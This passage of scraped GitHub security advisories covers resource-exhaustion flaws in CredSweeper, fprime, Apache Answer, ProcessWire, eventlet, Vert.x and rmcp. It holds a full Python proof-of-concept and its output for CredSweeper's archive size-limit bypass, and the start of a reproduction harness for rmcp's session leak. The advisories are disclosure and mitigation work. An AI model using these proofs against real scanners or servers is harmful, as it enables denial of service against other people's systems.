Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip(\u0027\"\u0027)\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            \"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != \u0027bzip2\u0027 else \u0027Bzip2\u0027}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth \u003e 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size \u003c 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
  "id": "GHSA-9mqm-qcwf-5qhg",
  "modified": "2026-07-10T19:25:51Z",
  "published": "2026-07-10T19:25:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Samsung/CredSweeper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources"
}

GHSA-9MRC-FPXJ-W736

Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-05 21:31
VLAI
Details

An integer overflow in the Svc::FileDownlink::SendPartial component of fprime framework v4.2.2 allows attackers to cause a Denial of Service (DoS) via a crafted input.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-67977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "An integer overflow in the Svc::FileDownlink::SendPartial component of fprime framework v4.2.2 allows attackers to cause a Denial of Service (DoS) via a crafted input.",
  "id": "GHSA-9mrc-fpxj-w736",
  "modified": "2026-08-05T21:31:34Z",
  "published": "2026-08-04T00:34:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67977"
    },
    {
      "type": "WEB",
      "url": "https://github.com/freedomfoxvare/cve/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/fprime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MXC-X85J-V2WC

Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-06 15:32
VLAI
Details

Improper Handling of Length Parameter Inconsistency vulnerability in Apache Answer.

This issue affects Apache Answer: through 2.0.1.

Unauthenticated attackers can cause a denial of service via a specially crafted Accept-Language header that triggers excessive CPU consumption during parsing. Users are recommended to upgrade to version 2.0.2, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-48834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T16:16:56Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Length Parameter Inconsistency vulnerability in Apache Answer.\n\nThis issue affects Apache Answer: through 2.0.1.\n\nUnauthenticated attackers can cause a denial of service via a specially crafted Accept-Language header that triggers excessive CPU consumption during parsing.\nUsers are recommended to upgrade to version 2.0.2, which fixes the issue.",
  "id": "GHSA-9mxc-x85j-v2wc",
  "modified": "2026-08-06T15:32:33Z",
  "published": "2026-08-05T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48834"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0yg5smwnbrhqs55m5h61gn42mcs8s95p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/05/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9P44-Q66P-XM6P

Vulnerability from github – Published: 2025-10-21 18:30 – Updated: 2025-10-27 20:01
VLAI
Summary
ProcessWire CMS vulnerable to resource-exhaustion Denial of Service
Details

ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "processwire/processwire"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-60790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T21:04:22Z",
    "nvd_published_at": "2025-10-21T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.",
  "id": "GHSA-9p44-q66p-xm6p",
  "modified": "2025-10-27T20:01:33Z",
  "published": "2025-10-21T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/processwire/processwire-issues/issues/2120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NomanProdhan/security-vulnerability-research/tree/master/CVE-2025-60790"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/processwire/processwire"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ProcessWire CMS vulnerable to resource-exhaustion Denial of Service"
}

GHSA-9P9M-JM8W-94P2

Vulnerability from github – Published: 2021-05-07 15:50 – Updated: 2024-09-20 17:20
VLAI
Summary
Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet
Details

Impact

A websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.

Patches

Version 0.31.0 restricts websocket frame to reasonable limits.

Workarounds

Restricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.

For more information

If you have any questions or comments about this advisory: * Open an issue in eventlet * Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "eventlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-07T14:31:05Z",
    "nvd_published_at": "2021-05-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.\n\n### Patches\nVersion 0.31.0 restricts websocket frame to reasonable limits.\n\n### Workarounds\nRestricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [eventlet](https://github.com/eventlet/eventlet/issues)\n* Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor",
  "id": "GHSA-9p9m-jm8w-94p2",
  "modified": "2024-09-20T17:20:53Z",
  "published": "2021-05-07T15:50:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/security/advisories/GHSA-9p9m-jm8w-94p2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/commit/1412f5e4125b4313f815778a1acb4d3336efcd07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eventlet/eventlet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/eventlet/PYSEC-2021-12.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2WJFSBPLCNSZNHYQC4QDRDFRTEZRMD2L"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R5JZP4LZOSP7CUAM3GIRW6PIAWKH5VGB"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet"
}

GHSA-9PH3-V2VH-3QX7

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2026-02-27 20:57
VLAI
Summary
Eclipse Vert.x vulnerable to a memory leak in TCP servers
Details

A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.4"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-02T16:15:47Z",
    "nvd_published_at": "2024-04-02T08:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.",
  "id": "GHSA-9ph3-v2vh-3qx7",
  "modified": "2026-02-27T20:57:55Z",
  "published": "2024-04-02T09:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/7ad34ea9d78f85e26b231ee3ec8d492d10046479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/3d9235cadf44df39a70dc75bddfe0b8fcbd6a683"
    },
    {
      "type": "WEB",
      "url": "https://vertx.io/docs/vertx-core/java/#_server_name_indication_sni."
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-vertx/vert.x"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2263139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3989"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3527"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1923"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1706"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1662"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Vert.x vulnerable to a memory leak in TCP servers"
}

GHSA-9PJ6-VHGR-3MWH

Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13
VLAI
Summary
RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service
Details

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
